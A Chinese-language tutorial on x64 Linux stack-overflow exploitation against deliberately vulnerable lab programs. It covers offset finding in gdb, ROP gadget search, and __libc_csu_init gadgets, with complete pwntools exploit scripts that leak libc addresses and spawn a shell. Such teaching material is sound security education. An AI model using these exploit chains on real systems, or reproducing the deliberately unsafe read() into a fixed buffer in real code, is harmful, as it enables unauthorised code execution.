linux_64与linux_86的区别
linux_64与linux_86的区别主要有两点：首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff，否则会抛出异常。其次是函数参数的传递方式发生了改变，x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中，如果还有更多的参数的话才会保存在栈上。
我们还是拿实际程序做例子进行讲解,test.c内容如下：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void callsystem()
{
system("/bin/sh");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
我们打开ASLR并用如下方法编译：
$ gcc -fno-stack-protector test.c -o test3
通过分析源码，我们可以看到想要获取这个程序的shell非常简单，只需要控制PC指针跳转到callsystem()这个函数的地址上即可。因为程序本身在内存中的地址不是随机的，所以不用担心函数地址发生改变。接下来就是要找溢出点了。我们还是用老方法生成一串定位字符串：
gdb-peda$ pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
然后r输入这个字符串造成程序崩溃
gdb-peda$ r
Starting program: /home/heyuan/桌面/test3
Hello, World
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x97
RBX: 0x0
RCX: 0x7ffff7b04680 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffdc10 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n")
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffdc98 ("AAQAAmAARAAoAA\n")
RIP: 0x4005e7 (<vulnerable_function+32>: ret)
R8 : 0x400690 (<__libc_csu_fini>: repz ret)
R9 : 0x7ffff7de78e0 (<_dl_fini>: push rbp)
R10: 0x37b
R11: 0x246
R12: 0x4004c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdd90 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4005e0 <vulnerable_function+25>: call 0x400490 <read@plt>
0x4005e5 <vulnerable_function+30>: nop
0x4005e6 <vulnerable_function+31>: leave
=> 0x4005e7 <vulnerable_function+32>: ret
0x4005e8 <main>: push rbp
0x4005e9 <main+1>: mov rbp,rsp
0x4005ec <main+4>: sub rsp,0x10
0x4005f0 <main+8>: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc98 ("AAQAAmAARAAoAA\n")
0008| 0x7fffffffdca0 --> 0xa41416f414152 ('RAAoAA\n')
0016| 0x7fffffffdca8 --> 0x100000000
0024| 0x7fffffffdcb0 --> 0x400620 (<__libc_csu_init>: push r15)
0032| 0x7fffffffdcb8 --> 0x7ffff7a2e830 (<__libc_start_main+240>: mov edi,eax)
0040| 0x7fffffffdcc0 --> 0x0
0048| 0x7fffffffdcc8 --> 0x7fffffffdd98 --> 0x7fffffffe172 ("/home/heyuan/桌面/test3")
0056| 0x7fffffffdcd0 --> 0x100000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005e7 in vulnerable_function ()
PC指针并没有指向类似于0x41414141那样地址，而是停在了vulnerable_function()函数中。就是因为我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff，否则会抛出异常。但是，虽然PC不能跳转到那个地址，我们依然可以通过栈来计算出溢出点。因为ret相当于“pop rip”指令，所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。
gdb-peda$ x/gx $rsp
0x7fffffffdc98: 0x41416d4141514141
在GDB里，x是查看内存的指令，随后的gx代表数值用64位16进制显示。随后我们就可以用pattern.py来计算溢出点。
gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136
可以看到溢出点为136字节。我们再构造一次payload，并且跳转到一个小于0x00007fffffffffff的地址，看看这次能否控制pc的指针。
$ python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload
gdb-peda$ r < payload
Starting program: /home/heyuan/桌面/test3 < payload
Hello, World
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x91
RBX: 0x0
RCX: 0x7ffff7b04680 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffdc10 ('A' <repeats 137 times>, "BCDEF")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdca0 --> 0x7fffffffdd0a --> 0xe550000000000000
RIP: 0x464544434241 ('ABCDEF')
R8 : 0x400690 (<__libc_csu_fini>: repz ret)
R9 : 0x7ffff7de78e0 (<_dl_fini>: push rbp)
R10: 0x37b
R11: 0x246
R12: 0x4004c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdd90 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x464544434241
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdca0 --> 0x7fffffffdd0a --> 0xe550000000000000
0008| 0x7fffffffdca8 --> 0x100000000
0016| 0x7fffffffdcb0 --> 0x400620 (<__libc_csu_init>: push r15)
0024| 0x7fffffffdcb8 --> 0x7ffff7a2e830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffdcc0 --> 0x0
0040| 0x7fffffffdcc8 --> 0x7fffffffdd98 --> 0x7fffffffe171 ("/home/heyuan/桌面/test3")
0048| 0x7fffffffdcd0 --> 0x100000000
0056| 0x7fffffffdcd8 --> 0x4005e8 (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000464544434241 in ?? ()
可以看到我们已经成功的控制了PC的指针了。所以最终的exp如下：
#!python
#!/usr/bin/env python
from pwn import *
elf = ELF('level3')
p = process('./level3')
#p = remote('127.0.0.1',10001)
callsystem = 0x0000000000400584
payload = "A"*136 + p64(callsystem)
p.send(payload)
p.interactive()
使用工具寻找gadgets
我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里，如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于 pop rdi; ret 的这种gadget。如果是简单的gadgets，我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候，还是借助于一些查找gadgets的工具比较方便。比较有名的工具有：
ROPEME: https://github.com/packz/ropeme
Ropper: https://github.com/sashs/Ropper
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
rp++: https://github.com/0vercl0k/rp
这些工具大致功能都差不多，下面结合例子讲一下，程序源码如下：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}
编译：
gcc -fno-stack-protector test4.c -o test4 -ldl
首先目标程序会打印system()在内存中的地址，这样的话就不需要我们考虑ASLR的问题了，只需要想办法触发buffer overflow然后利用ROP执行 system(“/bin/sh”) 。但为了调用 system(“/bin/sh”) ，我们需要找到一个gadget将rdi的值指向“/bin/sh”的地址。于是我们使用ROPGadget搜索一下test4中所有pop ret的gadgets。
$ ROPgadget --binary test4 --only "pop|ret"
Gadgets information
============================================================
0x00000000004008ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008b0 : pop r14 ; pop r15 ; ret
0x00000000004008b2 : pop r15 ; ret
0x00000000004008ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400700 : pop rbp ; ret
0x00000000004008b3 : pop rdi ; ret
0x00000000004008b1 : pop rsi ; pop r15 ; ret
0x00000000004008ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400601 : ret
0x0000000000400682 : ret 0x2009
我们成功的找到了“pop rdi; ret”这个gadget了。也就可以构造我们的ROP链了。
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
另外，因为我们只需调用一次system()函数就可以获取shell，所以我们也可以搜索不带ret的gadgets来构造ROP链。
ROPgadget --binary libc.so --only "pop|call" | grep rdi
0x0000000000195eab : call qword ptr [rdi + rbp*2 - 0x745c0000]
0x000000000019a1e3 : call qword ptr [rdi + rbx + 2]
0x000000000007d8b0 : call qword ptr [rdi]
0x0000000000023e56 : call rdi
0x0000000000106829 : pop rax ; pop rdi ; call rax
0x000000000010682a : pop rdi ; call rax
通过搜索结果我们发现，0x0000000000106829 : pop rax ; pop rdi ; call rax也可以完成我们的目标。首先将rax赋值为system()的地址，rdi赋值为“/bin/sh”的地址，最后再调用call rax即可。
payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
所以说这两个ROP链都可以完成我们的目标，随便选择一个进行攻击即可。最终exp如下：
#!python
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so')
p = process('./test4')
#p = remote('127.0.0.1',10001)
binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset)
#pop_ret_offset = 0x0000000000022a12 - libc.symbols['system']
#print "pop_ret_offset = " + hex(pop_ret_offset)
pop_pop_call_offset = 0x0000000000106829 - libc.symbols['system']
print "pop_pop_call_offset = " + hex(pop_pop_call_offset)
print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)
binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)
#pop_ret_addr = system_addr + pop_ret_offset
#print "pop_ret_addr = " + hex(pop_ret_addr)
pop_pop_call_addr = system_addr + pop_pop_call_offset
print "pop_pop_call_addr = " + hex(pop_pop_call_addr)
p.recv()
#payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
print "\n##########sending payload##########\n"
p.send(payload)
p.interactive()
运行结果如下：
python test4.py
[*] '/home/heyuan/\xe6\xa1\x8c\xe9\x9d\xa2/libc.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './test4': Done
binsh_addr_offset = 0x146de7
pop_pop_call_offset = 0xc1499
##########receiving system addr##########
system_addr = 0x7f17c39f1390
binsh_addr = 0x7f17c3b38177
pop_pop_call_addr = 0x7f17c3ab2829
##########sending payload##########
[*] Switching to interactive mode
$ id
uid=1000(heyuan) gid=1000(heyuan) 组=1000(heyuan),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),130(wireshark)
通用gadgets
因为程序在编译过程中会加入一些通用函数用来进行初始化操作（比如加载libc.so的初始化函数），所以虽然很多程序的源码不同，但是初始化的过程是相同的，因此针对这些初始化函数，我们可以提取一些通用的gadgets加以使用，从而达到我们想要达到的效果。
目标程序test5.c源码如下：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
可以看到这个程序仅仅只有一个buffer overflow，也没有任何的辅助函数可以使用，所以我们要先想办法泄露内存信息，找到system()的值，然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数，我们可以通过write()去输出write.got的地址，从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递，因为x64下前6个参数不是保存在栈中，而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢？其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./test
5观察一下__libc_csu_init()这个函数。一般来说，只要程序调用了libc.so，程序都会有这个函数用来对libc进行初始化操作。
00000000004005a0 <__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp)
4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp)
4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp)
4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp)
4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp)
4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp)
4005cc: 48 83 ec 38 sub $0x38,%rsp
4005d0: 4c 29 e5 sub %r12,%rbp
4005d3: 41 89 fd mov %edi,%r13d
4005d6: 49 89 f6 mov %rsi,%r14
4005d9: 48 c1 fd 03 sar $0x3,%rbp
4005dd: 49 89 d7 mov %rdx,%r15
4005e0: e8 1b fe ff ff callq 400400 <_init>
4005e5: 48 85 ed test %rbp,%rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor %ebx,%ebx
4005ec: 0f 1f 40 00 nopl 0x0(%rax)
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq
我们可以看到利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值，随后利用0x4005f0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi，随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0，再通过精心构造栈上的数据，我们就可以控制pc去调用我们想要调用的函数了（比如说write函数）。执行完call qword ptr [r12+rbx8]之后，程序会对rbx+=1，然后对比rbp和rbx的值，如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等，我们可以将rbp的值设置为1，因为之前已经将rbx的值设置为0了。大概思路就是这样，我们下来构造ROP链。
我们先构造payload1，利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx*8]，所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中，重复利用buffer overflow的漏洞，我们需要继续覆盖栈上的数据，直到把返回值覆盖成目标函数的main函数为止。
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
当我们exp在收到write()在内存中的地址后，就可以计算出system()在内存中的地址了。接着我们构造payload2，利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
最后我们构造payload3,调用system()函数执行“/bin/sh”。注意，system()的地址保存在了.bss段首地址上，“/bin/sh”的地址保存在了.bss段首地址+8字节上。
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
最终exp如下：
#!python
#!/usr/bin/env python
from pwn import *
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
#p = remote('127.0.0.1',10001)
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400564
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601028
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
